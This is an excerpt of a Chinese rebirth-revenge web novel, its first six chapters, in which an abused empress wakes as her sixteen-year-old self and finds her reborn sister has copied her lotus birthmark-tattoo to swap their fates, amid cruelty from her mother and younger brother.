《黑莲花换嫁,重生狂虐全家》
第1章 阿姐且忍忍,很快便完事了
皇后江元音濒死时,皇帝李承烨在她寝殿同她的侍女翻云覆雨。
她模糊的视野里是两人交缠的身影,耳畔是激烈的喘息与呻吟。
如今她五感只剩下微弱的听觉与视觉,他在故意折辱她。
“皇、皇上……嗯,娘娘似是撑不住了……”
“她惯会装,不必理会。”
江元音扯住床幔呼救的手顿住,随即放弃挣扎,不“装”了。
十六载的折磨,她早就油尽灯枯,此刻麻木合眼,任自己跌入无尽的黑暗,沉沉睡去,直至他的低吼近在耳畔:“江元音,睁开眼!朕不许你死!”
江元音勾了勾唇,懒得睁目看他一眼。
她逃了半生挣不脱他的桎梏,但求一死,解脱自由。
李承烨双目充血,扼住她的双肩激动摇晃,“你若敢死,朕便将你拆骨入腹,你生生世世,休想摆脱朕!”
太医婢女跪了一地,得不到回应的李承烨失了智,竟埋头发疯似的啃咬江元音的肩膀,魔怔似的要将她生吞入腹。
江元音暗骂了句“疯子”,又气又好笑,
她没了触觉多年,察觉不到痛的,他便真啃食她……
嘶——
左肩处传来久违的、刀割般的疼痛,她猛地睁眼,只看到一女子的发顶,入目是一支银簪,簪身刻着的云纹清晰可见。
……她视力恢复了?!
左肩处持续的刺痛让她下意识的向后缩,右侧伸来一只手将她右肩按住,她下意识地侧头,对上一张记忆里的少女的脸。
竟是她那自小处处要压她一头,事事让她背锅,最后却被割舌发配西北绝境的妹妹江云裳。
江云裳眉眼带笑,按住她右肩的力道却不小:“阿姐且忍忍,很快便完事了。”
江元音呼吸一滞,屏息环顾四周,视野里却不再是她的寝宫,而是她十六年前的闺房,她随即恍然。
她重生了。
下一瞬左肩处的刺痛停了,那埋首戴着银簪的女子抬首,却是冲江云裳颔首示意:“二小姐,好了。”
江云裳应声,示意丫鬟送其离开,自己则亲昵牵住江元音的手,拉着她起身走至铜镜前。
姐妹俩的外衣都褪至了手肘处,一前一后的立着,露出左肩处刚完成的刺青。
“阿姐可还满意?”江云裳笑吟吟地望着铜镜里的江元音,“你厌恶的胎记改换好了,日后生来带着莲花刺青的人便是我了。”
江元音望向镜子,她左肩那跟了她一辈子的莲花刺青变成了陌生的动物图腾。
她的确讨厌这莲花胎记,因为她阿母一瞅见便会冷脸,说她是和前世的家人缘分未尽,才会生来带着这胎记,难怪养不熟。
后来又因为这胎记被李承烨缠住禁锢,折磨至死。
“阿姐怎么不理我?可还是在怪我前日贪玩,害你跪了一夜,被阿母责罚关了禁闭?”江云裳下巴抵在江元音的肩颈处,很是无辜地眨眼,“阿姐莫气,我日后再不会让你操心为难了,明日我自行去泉郡,你全当不知,这样阿父阿母回府后,便怪不到你头上了。”
铜镜里,两人姿态亲昵好似一株并蒂莲,江元音却觉得反胃,不着痕迹的侧身,拉开两人的距离。
她自小在阿母的教导下,处处让着小她一岁的江云裳,她对她掏心掏肺,替她背锅领罚,任她予取予求,活得好似她的丫鬟。
而江云裳却任她被流寇欺辱,将她丢弃在泉郡。
前世是江云裳拉她去泉郡的,非是同她感情好,不过是想着万一被父母发现,让她背锅罢了。
毕竟那时天下三分,泉郡弹丸之地却跨了三国,不归属于任何一国,因此多得是亡命之徒,最是鱼龙混杂危险之地,是父母命令禁止去的地方。
可江云裳觉得新奇好玩,趁着父母外出,拉着她偷偷去了泉郡。
江云裳招惹了流寇,为了脱身,毫不犹豫地卖了她,看着她被污言秽语的流寇撕扯掉衣裳,万幸,遇着了李承烨的属下,瞥见她肩膀的胎记救下了她。
彼时李承烨还不是九五之尊,不过是泉郡的地头蛇,是传闻中丑陋暴戾的“三爷”。
江云裳怕得要死,眼眶发红,瑟瑟发抖往江元音身后躲,颤声喃语着:“落到这三爷手里还不如**,阿姐救救我,救救我……”
她又说:“若我能逃出去,一定会找爹娘来接你……”
江元音尚未从差点失身流寇的惊惶中走出,惨白的小脸上还挂着泪珠,她却往前迈了一步,跪
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下请求道:“放了我妹妹,我跟你们走。”
她从此失去了自由,在折磨中抱着期待日复一日的等待。
可没人来救她,她一次次的逃跑失败,换来非人折辱。
记不得是第几次逃跑失败后,李承烨扼住她的脖颈,在她快要窒息时,他突然松开她,森冷地笑:“这么想回去?那你便回去瞧瞧。”
江元音只当他良心发现善心大发,又哭又笑地磕头感激。
她终于回到心心念念的江家,方知江云裳逃离泉郡后,不到半年便嫁给定宁侯,她阿弟被圣上破格选为太子的陪读,江家举家迁至帝都汴京。
江府只剩下几位看守宅院的老妇家丁。
老妇认出了江元音,却不许她入门:“老爷夫人说了,你既失身于流寇,日后便不要自称江家女,免得坏了江家的名声,牵连到小姐、少爷,你快些走吧。”
江元音不知是江云裳没告知父母真相,还是父母为了江家的名声前程直接舍弃了她。
她只知道她对家人的期盼与真心被碾压得粉碎。
李承烨粗暴扯过犹如行尸走肉的她,冷声嗤笑:“江元音,除了我,这世上没人要你,你还想逃吗?”
江元音静默不语,眼泪却如决堤的河水,汹涌不止。
她拼尽全力才回到家门口,却原来她早就没了家。
江元音回神,看向江云裳左肩那刚复刻好的莲花刺青,眸色深了几许。
看来她也重生了,还比自己重生得更早。
她抢走了自己的“胎记”,不再让自己陪她去泉郡,是想和自己交换命运?
毕竟前世她嫁给定宁侯不过一年半,定宁侯便病逝了,再后来她私通外男,落了个割舌发配西北绝境的下场,而李承烨最终称帝,并立她为后。
江云裳不满江元音的沉默,眼神委屈,动作却很恶劣的直接用力按住她左肩的刺青:“阿姐,怎么不理我?”
江元音疼得皱眉吸气,却发自肺腑地笑了。
她失去触觉多年,过得好似一滩烂泥,此刻能感受到疼痛,方觉得自己真活过来了。
是以她不闪不避的受着,好脾气地回:“好,一切都依你。”
李承烨是个疯子,她喜欢,就让给她。
第2章 你为何在我床上?!
前世江元音替江云裳背锅,被母亲陈蓉呵斥,罚跪一整夜后关了禁闭。
次日作为江南首富的父母前脚动身去扬州开商会,江云裳后脚拉着她去了泉郡。
这次江云裳启程去泉郡,她全当不知,一步也不迈出卧房的门,乖巧领罚。
五日后,夜里。
江元音刚歇息不久,看守院门的丫鬟来报:“小姐,不好了,少爷高烧不退!”
江元音坐起身,神色没有起伏,不见半分关心和担忧。
她是江家不受宠的嫡女,父母偏爱江云裳,最爱的当是幼弟江正耀。
前世她掏心窝子的对待江正耀,他却没唤过她一句“阿姐”,后来李承烨掳走了南下的太子,亦包括随行的江正耀。
她百般献媚讨好李承烨,才寻着机会将江正耀救出地牢。
她拉着他的手奔跑,以为终于能逃离李承烨,他却一剑刺中她的腿,留下一句“你怎么有脸活着?你早该**”后,走得头也不回。
腿上鲜血汩汩,最疼的却是心脏。
那之后她再也不逃了。
江元音波澜不惊地问:“请郎中看过了?”
丫鬟点头:“白日里郎中来看过了,开了方子,傍晚烧退了,谁知这会又烧了起来,少爷吵着要见夫人,刘嬷没法子,差人来请小姐去逸轩院瞧瞧。”
江元音了然。
父母开商会未归,江云裳去了泉郡,刘嬷只能来请示她这个嫡女。
贴身丫鬟雪燕忙去取了外衣给江元音披上,作势要侍候江元音起身出门。
江元音穿好外衣却未起身,看向报信的丫鬟,淡声道:“让刘嬷将正耀送过来。”
“啊?小姐不过去?”
雪燕同样讶然。
小姐这是怎么了?
竟然没有火急火燎的赶过去!
姜元音轻“嗯”了声:“阿母罚我禁闭,我自不能出去,不然阿母回来怕是又要气恼罚我了。”
丫鬟闻言忙动身去回话了。
未多久,刘嬷背着九岁的江正耀入了屋,放到江元音的床榻上,气喘吁吁地念叨:“少爷非得要夫人喂才肯喝药,夫人还不知何日才会回府,要是少爷烧坏……咳,大小姐,现下如何是好啊?”
江元音晓得刘嬷明面上是请示她这个大小姐,实际上是想把烫手山芋交给她,免得江正耀有个三长两短担责不起。
她前世这会已经在泉郡,不清楚他这回发烧是怎么度过的,但他后来能去当太子陪读想来是烧不出什么差池。
床榻上,江正耀整张脸烧得通红,眼睛眯成一条缝,冲着江元音迷迷糊糊地呢喃唤道:“阿姐……”
江元音一怔。
眼前这张稚嫩的脸和满眼厌恶冷脸刺她的少年重叠,她喉咙口一片湿热的应道:“……我在。”
他从未唤过她“阿姐”,真的……是在唤她吗?
“阿姐,我好难受……”江正耀朝她伸手,带着委屈的哭腔,“我的头好疼啊,阿姐帮帮我……”
江元音握住他滚烫的手,心绪微妙,温声问道:“我喂你喝药可好?”
生病的江正耀对江元音格外亲近,不似平日那般冷言冷语,很是乖巧温顺地点头。
刘嬷大喜过望:“太好了,少爷愿意喝药了!我这就去把煨好的药端来!”
江元音在床头落座,试探性的揽过江正耀,他出乎意料地不抗拒,顺势依偎着她,重复嘟囔着:“阿姐,难受,好难受……”
江元音一边命丫鬟去打盆冷水过来,打湿帕子敷在他的额头,一边学着阿母的姿势拍抚着他的背:“正耀乖,喝了药就不难受了。”
江正耀哼哼唧唧的,却很是配合,就着江元音的手喝下药。
约莫过了两刻钟,药效上来了,他烧退了些,闭目在她怀里睡去,但只要她拍抚他背的动作一停,他立马蹙眉低哼,一察
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觉她要抽身离开,便会眷恋嚷嚷:“阿姐莫走。”
江元音心里五味杂陈。
这是她前世一直期盼却从未得到的手足之情,她重生后不抱任何念想,反而体验到了。
她垂首看着怀里稚嫩的脸,忍不住想,是不是前世江云裳回家后没和父母弟弟说实话,江正耀是误会了她,才会在后来一剑刺伤她的腿,觉得她没脸活着。
江元音衣不解带的照顾了江正耀一夜,强撑着睡意,给他换帕子,注意他的体温,不住地拍抚他的背,让他能安睡,直到拂晓时分才稍稍眯了会眼。
可惜刚睡了不到半个时辰,江正耀醒了,她忙睁眼抬手想去探探他的额温,却被他一手挥开。
“江元音?!”江正耀坐起身,怒道:“你为何在我床上?!”
昨夜的小可怜一霎变得跋扈,不给江元音回话的机会,一脚将她踹下床去:“滚——!”
江元音猝不及防跌坐在地,难以置信地抬眸望向床榻上恶声恶气的江正耀。
雪燕忙上前搀扶,替她解释抱不平:“这是小姐的卧房,少爷昨夜高烧不退,小姐一整宿没合眼,又是喂药又是拍背换帕的照顾少爷……”
“胡说八道!”江正耀急声打断,“昨夜照顾我的分明是我阿姐,不是她江元音!”
江元音恍然,心口一阵密密麻麻的疼。
她又自作多情了,昨夜的亲近与那声“阿姐”,都属于江云裳,不属于她。
许是前世受过他一剑,今日他这一踹并不难捱,足以让她心灰意冷,彻底清醒。
真心换不来真心,他厌恶她,从未将她视作家人,前世不管江云裳说没说真话,他都会对她拔剑相向。
江元音咽下苦涩,不再费唇舌同江正耀辩论解释,甚至不看他一眼,只是侧头看向雪燕,问:“刘嬷呢?”
“在外间候着。”
“让她带他回逸轩院。”
第3章 你少自作多情
直到刘嬷出现给江正耀穿鞋,他才发觉昨夜真是他烧得神志不清,迷迷糊糊将江元音错认成了江云裳。
回想起昨夜的亲昵撒娇,他尴尬得涨红了脸,又想到自己刚刚那恶狠狠的一脚也有些愧疚,但他被捧惯了自不可能主动低头,尤其是对江元音。
是以他目不转睛的盯着她,等着她似从前那般好声好气地同他解释,他再顺势给她个好脸色就算翻篇。
可江元音低眉敛目,静默不语。
江正耀最是厌恶她这副有委屈不言,故作忍气吞声的模样。
他又不是故意踹她,她还想他去认错哄她吗?!
他心里直冒火,烧尽了先前那点愧疚,恼怒道:“我昨夜高烧,难道你也高烧吗?你少自作多情,若不是我烧迷糊了才不会让你照顾!”
江元音睫毛轻颤,仍旧不看他,没甚情绪地回:“知道了。”
江正耀更是火冒三丈,将她床榻上的被褥枕头全扫到地上撒气。
江元音置若罔闻,毫无反应。
江正耀起身踩在她的被褥上,恶狠狠盯着她莹白的侧脸:“难怪阿母阿姐不喜你,你这般心性着实惹人生厌!”
他大步离开,刘嬷跟上,留下一室狼藉。
雪燕担忧唤道:“小姐……”
江元音勾了勾唇,无碍地笑笑:“没事。”
雪燕不解:“小姐为何不同少爷说清楚呢?昨夜分明是少爷拉着小姐,让小姐照顾的!”
江元音摇头,无谓地回:“多说无益。”
她自小在“长姐如母,要包容照顾弟妹”的训导中长大,事事迁就他们,到头来一个将她卖了,一个拿剑刺她。
他们不喜欢她,那她无论是何心性,都会惹他们生厌。
见雪燕还要劝,江元音看向地上那被踩踏过的被褥,道:“这些扔了,给我换床新的,昨夜没睡好,我困乏得紧。”
雪燕只好止声忙活去了。
江元音昏昏沉沉睡了一日,到了申时都未醒,雪燕想唤她起来用餐才发现她面色潮红,伸手一探额温,烫得惊人。
“好烫——!”雪燕慌神惊呼,“小姐,你发高烧了!”
江元音眼皮似千斤般沉重,压得她睁不开眼,烧得干涩的嗓子费劲发声:“无事,我睡睡便好。”
前世便是如此,李承烨喜怒无常,她不知哪句话、哪个眼神、哪个动作就会惹怒他,他在腊月将她沉湖,让她赤脚在雪地跳舞,也曾将她关在潮湿阴暗的地窖,可她命硬,无数次的病昏过去,却又安然醒来。
雪燕忙给她拢了拢被子:“郎中午后来府上给少爷看诊开药,这会应该还在逸轩院,我这就去请郎中过来,小姐撑住!”
雪燕着急忙慌的跑到逸轩院,正巧郎中刚嘱咐完刘嬷要离府。
她匆匆给江正耀行了礼,忙道明来意:“我家小姐病了,请郎中移步月影院看诊!”
“她生得什么病?”江正耀没好气道:“她早上不还好好的吗?”
一想到早上的事,他心里还窝着火,原本看到江元音的丫鬟来了,还以为是她悔改了,派丫鬟过来示好,谁知是来请郎中的。
雪燕回道:“小姐昨夜穿得单薄,照顾少爷一宿,许是沾上了少爷的病气才发起了高烧……”
“你这是在怪我?!”江正耀怒目圆睁。
雪燕扑通跪地:“雪燕不敢,雪燕没怪少爷……”
“你不敢,她敢是吧!”江正耀气道:“不过是照顾了下我,不停拿这说事,早上装委屈这会装病,非得让我对她感恩戴德才行吗?!”
“哎唷,少爷,你才刚好些,生个劳什子气?”刘嬷赶紧打圆场安抚道:“大小姐病没病郎中过去瞧了便知,你安心养病,要是夫人回来发现你还病着,
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准要心疼坏了。”
雪燕连连点头,郎中作势要随她去月影院,江正耀猛地拍了下床榻,制止道:“不许去!”
郎中顿住,目光在九岁的小少爷和刘嬷之间来回,不知该听谁的。
江正耀心里憋着火,自然不想让江元音好过,蛮横道:“谁敢请郎中去给江元音看诊就是跟我江正耀过不去,我定饶不了你们!”
“江元音既然想邀功就让她病得严重些,等阿父阿母回来,让她去跟阿父阿母邀功吧!我看阿父阿母是信我还是信她!”
江家主母盼星星盼月亮才盼来一子,对江正耀的宠溺可想而知。
下人们哪敢得罪江正耀,没人再为江元音说话。
雪燕无功而返,候在江元音床榻边,啪嗒啪嗒地掉泪:“雪燕没用,求不来郎中……”
她只能打湿帕子给江元音湿敷,哽咽道:“要是老爷在府上就好了,老爷定不会这般绝情,不管小姐,小姐一定要好起来,少爷太过分了,等老爷回府了,一定会为小姐做主的。”
江元音依稀能听见雪燕的话,只是实在没力气回应。
阿父江兴德是唯一待她好的家人,他会在阿母责骂她时护她,在她和江云裳之间有不愉快时,不一味的让她忍让,也会让江云裳反省言行。
幼时,江正耀还未出生那会,阿父每每出门办事,都会带些新奇之物回来,他会笑着让她先选,而不会像阿母一样,让她捡江云裳挑剩的。
那是她如履薄冰的一生中,唯一感受过的偏爱与温暖。
江元音被涌上来的思念包裹,心中一阵酸涩。
前世她陪江云裳去了泉郡后便再没见到过父母,后来李承烨攻入汴京,听闻他们死在了乱箭之下。
她想她阿父了。
这是她重生后却没想离开江家的原因之一。
她有好多话要对他说。
第4章 这江家你既不想待,就滚出去
深秋露重,江元音先前被罚跪院中一夜受了风寒在先,才会在照顾江正耀一夜后染上病气发起了高烧。
请不来郎中,雪燕没有法子,只能守在床榻前,不住给她换帕冷敷降温。
折腾了两日,江元音睡睡醒醒,终是退了高烧,但低烧未愈。
她没甚胃口,端着一碗白粥勉为其难的咽下几口,听到院子里有动静,便示意雪燕去瞅瞅。
雪燕走到屋外望了两眼,立即跑回来,惊喜道:“小姐,是夫人来了!”
看来是老爷夫人办完事回来了,有老爷在,会有郎中给小姐看病了!
“只有阿母吗?”江元音紧声发问:“阿父可来了?”
“是雪燕粗心,没瞧仔细,雪燕再去瞅瞅!”
话音刚落,陈蓉急步迈了进来。
江元音在雪燕的搀扶下起身迎过来,佯作不经意的瞟向陈蓉身后,没瞅见江兴德,只看到了江正耀。
她眸光微暗,俯首福身,温声唤道:“阿母。”
陈蓉面色不愉,没落座直接问道:“云裳呢?”
江元音闻言便知陈蓉已回府好一会了,见过了江正耀甚至知晓了江云裳不在府上,方才跑来问她。
若是江云裳在家,他们怕是其乐融融地相聚,想不起她这号人物吧。
她压住心口翻涌的酸涩,摇头回道:“元音不知。”
“你怎会不知?”陈蓉不信,“你们姐妹俩自小就爱黏在一块,你们无话不谈,她做什么都同你一道,你如何会不知?”
她伸手去拉江元音的手,半是哄骗半是警告道:“你现下如实告诉我,我不会怪……”
后面的话**元音后退躲闪的动作打断。
陈蓉脸色骤变,愠怒道:“你这是什么态度?是记恨我出门前让你罚跪了?十多日不见,你不心疼我这个母亲外出是否受累,反而同我耍起了脾气,真叫为母失望心寒!”
低眉敛目的江元音勾了勾唇角,同陈蓉保持着两步远的距离,淡声回道:“阿母误会了,元音只是怕把身上的病气渡给了阿母,是以才不敢同阿母亲近。”
陈蓉蹙眉:“你生病了?”
一旁江正耀一听立马想起了雪燕去唤郎中时的说辞,只觉得江元音是话中有话,在陈蓉面前惺惺作态,他抢声道:“你不就是想告诉阿母你是因为照顾我,染了我的病气才生病的吗?直说便是,戏可真多!”
他等了两日不见她示好,心里本就窝着火,现下再看到她一直低头畏畏缩缩的模样,更是火冒三丈。
她越是故意摆出这副被欺凌了的样子,他便越是要如她所愿的欺负她!
江元音不解释不反驳,没给他任何回应,接着回答陈蓉:“只是受了些风寒,没甚大碍,阿母无需挂心。”
陈蓉刚回江家,便听刘嬷禀告了江正耀这十来日的情况,自然清楚他前两日发了高烧的事。
江元音会照顾江正耀,她倒是不会质疑,却也觉得是稀松平常不值一提的小事,不打算细究,随口敷衍道:“没事便好,”她一句带过,继续绕回自己在意的事,“云裳……”
“夫人!”雪燕忍不住出声道:“小姐不止是受了风寒,小姐高烧不退,又没郎中看诊,整整烧了两日直至今日才好些,但也未……”
“雪燕。”江元音唤住她,冲她摇头,示意她止声。
阿母不在意她,同阿母说这些是没有意义的。
她不想浪费唇舌与时间,只盼着回答了阿母的问题,可以去见见阿父。
“是我不让郎中给她看诊的又如何?”江正耀一副看破她们主仆算盘的轻蔑模样,跋扈讥讽道:“她要被郎中医好了,还怎么在阿母面前装可怜邀功?”
他虽是看着雪燕说的,余光却一直落在江元音的身上。
从两日前的清晨他踹了她一脚后,她没再看过他一眼,也没搭理过他一句,这比她从前伏小做低来示好更让他火大。
江元音置若罔闻。
连番被无视的江正耀暴跳如雷,瞪着她,恶语相向:“你这么委屈那夜为何要让刘嬷将我送到你这月影院来?分明是你上赶着献殷勤要照顾我,现下却摆这副半死不活的样子,好似全家都亏欠了你,这江家你既不想待,就滚出去,免得坏人心情!”
他骂得过火难听,但陈蓉没出声制止,没人敢多言。
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江元音自嘲一笑。
前世她和弟妹们有任何矛盾,阿母亦是这般的不发一言,她那时只道是阿母公平,不掺和他们手足之间的事,现在才恍然,这分明是一种偏袒与纵容。
因为从始至终,她都是被欺负的那一个。
江元音咽下苦涩,越发想快些看到江兴德,是以她主动对陈蓉道:“我不知云裳在哪,我上一回见她,还是罚跪后的第二日,她来看望我,之后再未来过。”
不管是前世还是今生,去泉郡都是江云裳自己的选择,她不会再干预。
她接着道:“自阿母罚我禁闭以来,我未踏出月影院一步,如正耀所言,便是他高烧那夜,我也是把他接到月影院照料,未出院门。”
江正耀刚刚所言,恰恰能为她佐证。
“阿母若不信,也可找府中上下问话,”江元音缓声道:“我被关了禁闭,月影院外的事难知,但正耀出入自由,又和云裳感情甚好,云裳在哪,阿母当问他。”
“我要知道阿姐在哪,怎会同阿母一道来问你!”
刘嬷:“大小姐又不是不知道少爷病了好几日,二小姐去了哪,少爷怎会知道?”
雪燕:“小姐也病了,小姐更是……”
“好了!”陈蓉终于扶额出声:“吵得我头疼!”
争论声戛然而止。
顷刻的静默,江元音抬首望向陈蓉,乖顺道:“阿母,元音已深刻反省悔改了,阿母能解除元音的禁闭了吗?元音想去同阿父请安。”
从他们入门起,她一直是低垂着头的,此刻一抬首,方才露出那张憔悴的脸来。
巴掌大的脸底色苍白,两颊泛着病态的红,嘴唇烧了两日干得要脱皮,整个人都清瘦了一圈。
一直以为她在装病的江正耀一怔。
陈蓉见状,点头应了:“不必急着去请安,先唤郎中来看病吧,免得传给你父亲。”
江元音颔首:“元音明白。”
陈蓉舟车劳顿本就疲累,何况她心底觉得江云裳只是贪玩出不了大事,见江元音是真的病了,生怕她和江正耀染上病气,不愿再待这,不多言拉着江正耀径直离开。
第5章 我真的是你的骨肉,你的孩子吗?
江兴德回来了,江元音心情甚好,又有郎中看诊开药,一夜过后好了个七七八八。
次日清晨,她前去梧桐院请安。
正是早餐的点,下人布好了餐食,江兴德和陈蓉正要落座。
再见到心心念念的父亲,江元音克制着内心的激动,福身请安:“元音见过阿父阿母。”
江兴德落座,笑着朝她招手:“还是元音乖巧,来得最早,不似云裳和正耀,这会还没个人影。”
江元音闻言鼻子一酸,往江兴德身边迈去。
在江家,唯有阿父会夸她。
江云裳不在家里的事,陈蓉还没跟江兴德提,今日早餐也压根没让人去唤江元音。
她眼底有不悦,打量着江元音,道:“不是让你病好前别来请安么?”
江元音落座的姿势一顿,站着回道:“昨日喝了两副药,身子好全了,谢阿母关心。”
“元音病了?难怪昨日不见你,”江兴德示意她在身侧落座,一番打量后心疼道:“哎,瘦了。”
“偶感风寒而已,”江元音心中暖流涌动,百感交集地端详这记忆中的脸,软声道:“阿父此次出行可还顺利?元音……”她难忍哽咽,声音弱下去,“好想你。”
“果真是病了,粘人了,”江兴德笑道:“不过是十来日不见,你怎地一副三年五载没见过我的样子?”
江元音也笑,很是恬静温婉。
何止三年五载,他们已阔别十六年。
陈蓉觉得这父女俩的温馨寒暄着实碍眼,不耐出声道:“不过是服了两帖药,未必真好全了,元音,你今日还是回月影院用餐吧。”
这时,江正耀大步迈进来,陈蓉眉目里霎时有了笑意:“耀儿来了,快陪我们用餐。”
江正耀拱手作揖:“阿父阿母。”
他目光在江元音身上短暂停留后移开,冷哼一声落座。
江兴德拧眉,沉声训道:“你这大清早闹得什么少爷脾气?你阿姐这么大个人坐在这你看不见?”
不待江正耀出声,陈蓉维护道:“耀儿大病初愈,我们一家人好不容易一起吃顿早餐,今日就别说教了。”
换做以前,江元音会顺陈蓉的心意起身离开,可此刻她舍不得,她才是好不容易才有和江兴德一起用餐的机会,是以她看向陈蓉,道:“阿母放心,我与正耀前后脚生病,他好了,我自然也好了。”
陈蓉不料一贯逆来顺受的江元音竟然会反嘴,挂脸发难道:“十来日不见,你不止是变得粘人了,脾性也见长,我让你回月影院吃饭,也是想你好得快些,我一片好意,你还不乐意了?”
“元音不敢,元音只是想陪阿父……”江元音微顿,“阿母一起吃饭。”
“我瞅着元音精神头不错,当无大碍,何况我们一家人许久没一同吃饭了,你就别赶她了。”江兴德拿了筷子,道:“好了,吃饭吧。”
江兴德表了态,陈蓉不好多说,可江正耀一脸不爽快地开口:“不等阿姐吗?”
他特意加重了“阿姐”的发音,故意刺江元音。
在他心里,他有且只有江云裳一位阿姐。
那夜谁让她自作多情的?
江兴德好似这才想起了迟迟未到的江云裳,侧头问陈蓉:“云裳怎么还没到?”
陈蓉昨日离了月影院便派人去街上找寻江云裳了,她只当她是贪玩,往市井热闹处去了,原本打算等她回来说上两句,奈何昨日刚回府,着实累了,早早睡去了。
也不知她昨日鬼混到何时才回府,这会还不见人影。
“马上要入冬,天冷容易犯懒睡过头,”陈蓉替江云裳寻好了理由,“老爷放心,一会吃完饭,我定好好同她说道说道。”
江兴德对子女一向宽厚不拘小节,但也不可能一家子等着江云裳,他点点头,示意大家动筷。
然而刚吃了几口,前去桃夭院唤江云裳的李嬷慌慌张张的跑回来了。
李嬷手里揣着封信,瞅瞅陈蓉又瞅瞅江兴德,欲言又止地杵着。
不见江云裳,饭厅的氛围霎时冷了下来,大家的脸色都不太好看,唯有江
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元音神色淡然。
陈蓉放下碗筷:“云裳呢?”
“二小姐……”李嬷将信递给陈蓉,“夫人,二小姐昨夜未归,在屋里留了封信。”
陈蓉猛地起身接过信,粗略的扫了一眼,看完呼吸急促,踉跄了下,差点两眼一黑晕过去。
江元音离得近,下意识起身扶了陈蓉一把:“阿母当心。”
陈蓉站稳后,一把推开江元音,怒道:“跪下!”
她因为江云裳训斥江元音不是什么新鲜事,这样的场景,在十多日前才发生过一次,餐桌旁的江家父子见怪不怪,江正耀冷眼旁观,江兴德蹙眉道了句:“有什么话不能等吃过饭再说?”
江元音隐约能猜到信件的内容,她没似以往那般唯命是从的跪下,而是抬眼望向陈蓉,问道:“不知元音做错了什么,阿母要元音跪下?”
此举于陈蓉而言,无疑是挑衅,她目眦欲裂,蓦地扬手给了江元音一巴掌:“反了你了,我说话不好使了?”
江元音僵住,脸颊火辣辣,脑子似断了跟弦嗡嗡作响。
视野里的陈蓉,面目狰狞可怖,不见半点温情。
她从前真是愚蠢,竟妄想能得到一丝丝的母爱。
陈蓉厉声道:“你怎么当姐姐的?!云裳不懂事,你也不懂事吗?她要去泉郡你为何不阻止?!便是阻止不了,你为何不同她一道去?!你怎能放她一个人去那豺狼虎豹之地!”
“看来还是我上次罚得太轻,你不长记性!”
江元音没似从前那般立即跪下认错,她不躲不闪地迎上陈蓉的目光,“阿母从前怪我不懂以身作则,陪着云裳胡闹而罚我,如今却又因为我不陪云裳而责备我,我左右不是,阿母不喜我,我做什么都是错。”
“阿母不许我犯错,叫我事事迁就忍让,可是阿母,我不过长云裳一岁,我今年也才十六啊。”
她睫毛轻颤,眸底是汹涌的暗河,扯了扯唇角,轻声问出了压抑了两辈子的问题:“阿母,我真的是你的骨肉,你的孩子吗?”
第6章 她不配
陈蓉似是被噎住了,半响没声。
“咚——”
江兴德重重放下碗筷,沉脸朝陈蓉伸手:“把信给我。”
陈蓉一阵犹疑,见他满面风雨,只得把信递过去。
江兴德看着信,气得额角青筋暴突,“她这哪是昨夜未归,看这落款她离家已有**日!”
陈蓉先前没细看,瞟到泉郡两个字便绷不住了,现在一听到**日立即瞪着江元音,兴师问罪道:“我与你父亲外出办事,你既是长女就该担责照料府中上下,若是云裳有个万一,我定饶不了你!”
“可阿母外出前分明让我禁足静思己过,我连房门都不能出又要如何照料府中上下?”江元音眼神坚毅,将扯开的话题又绕回来,重复问道:“阿母,待我这般苛刻,我当真是你所生吗?”
江兴德倏地起身,再次打断:“泉郡危险重重,当务之急是速派人去泉郡将云裳寻回,免生意外!”
他侧目看向李嬷,吩咐道:“速去唤李管事、桃夭院上下来中厅见我!”
江兴德甩袖而去,陈蓉顾不得训斥江元音抬步跟上。
江正耀也起身,走了两步看向问了两遍都未得到答案而面无表情的江元音,揣度指责道:“你竟半点不担心阿姐,难不成是你唆使阿姐去泉郡的?”
江元音只觉得好笑,“你高估我了,我的话没那么有份量,你阿姐想去哪,岂会听我所言?”
她不欲与之掰扯,跟上江兴德的步子。
江府中厅,江父大发雷霆,和陈蓉一同审问了桃夭院的奴仆,命令李管事不计钱财代价,立即差人去泉郡寻人。
江元音安静旁观,即便之前的询问没有得到答案,但前世某处遗憾已经圆满。
前世阿父定也这般着急担忧的寻过她,那句“不可再自称江家女”定不是阿父的决定。
江家这一寻便是两月,不惜钱财,甚至动用了商会人脉,才终于有了江云裳的消息。
李管事禀告道:“老爷、夫人,二小姐两月前自行去了泉郡三爷府,打那后再没消息,人……不知还在不在三爷府。”
他说得很委婉,这位“三爷”是泉郡的地头蛇,神秘得很,无人晓其姓氏、年龄、面貌,只知其残暴狠毒,座下皆是亡命之徒,江云裳定是凶多吉少。
陈蓉扶额,几欲昏厥,而江兴德闭目,沉痛不语。
唯有九岁的江正耀,对“三爷”这号人物没甚了解,激动道:“那便去他府上要人!”
“胡闹!”江兴德睁眼呵斥,“你年幼不晓世道,那三爷便是官爷都不敢轻易招惹,何况我们商贾?”
“那又如何?难道不管阿姐了吗?”江正耀不以为然,“阿父若怕,我领人去接阿姐便是!”
江兴德头疼得紧,挥手示意刘嬷将江正耀带回逸轩院。
江正耀不服,但到底不过九岁,挣不脱李嬷和家丁,只能不住嚷嚷着他要去救江云裳。
江元音耳边是少年尖锐心急的嗓音,和记忆中冷漠要她**的声音糅杂在一起。
果然,他和陈蓉并非是在意江家的名声,他们只是,不在意她罢了。
无妨,阿父会在意她,这便够了。
江兴德沉声吩咐李管事:“撤了搜寻的人手,留一人在泉郡盯梢,若有云裳的消息,即刻来报。”
这话无异于宣判了江云裳的“**”,陈蓉承受不住,直接昏了过去。
丫鬟嬷嬷惊呼着围上去,在江兴德的示意下,搀扶她回房,去请郎中。
江元音迎上去,担忧唤了声“阿父”。
江兴德只当她和江正耀一般是担心江云裳,想来劝他,于是叹息摇头道:“元音,不是我不愿意救,只是你妹妹落在那人手里两月有余,大抵是……没了。”
江元音很清楚,江云裳没死,此时她应该被关在烘臭潮湿的猪圈里,与之抢食,夜夜活在被牲畜啃食的恐惧里,直至快冻死在初雪那日,李承烨才会把她捡回屋内。
这些都是江云裳自己选
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的。
江元音只是心疼江兴德。
前世她生死未卜,阿父定也这般神伤。
她代替前世的自己出声劝慰道:“阿父莫太过忧思,身子要紧。”
“无碍,你去瞧瞧你阿母吧,多劝劝,我怕她想不通。”
江元音应声,去陈蓉床前候着。
郎中看了诊开了药,药煎好时,陈蓉醒了。
陈蓉满眸恶意与憎恨,张口便是最歹毒伤人的话:“为什么去泉郡的人不是你?!为什么死的是我的云裳不是你?!”
江元音神色毫无起伏,仍是一副没脾气的温吞模样,“阿母莫急,若是急坏了身子,云裳泉下有知定会心疼自责,难以安息。”
“你胡说八道什么?!云裳没死,我不许你咒她!”陈蓉激动扬声,“江元音,你是不是故意气我!”
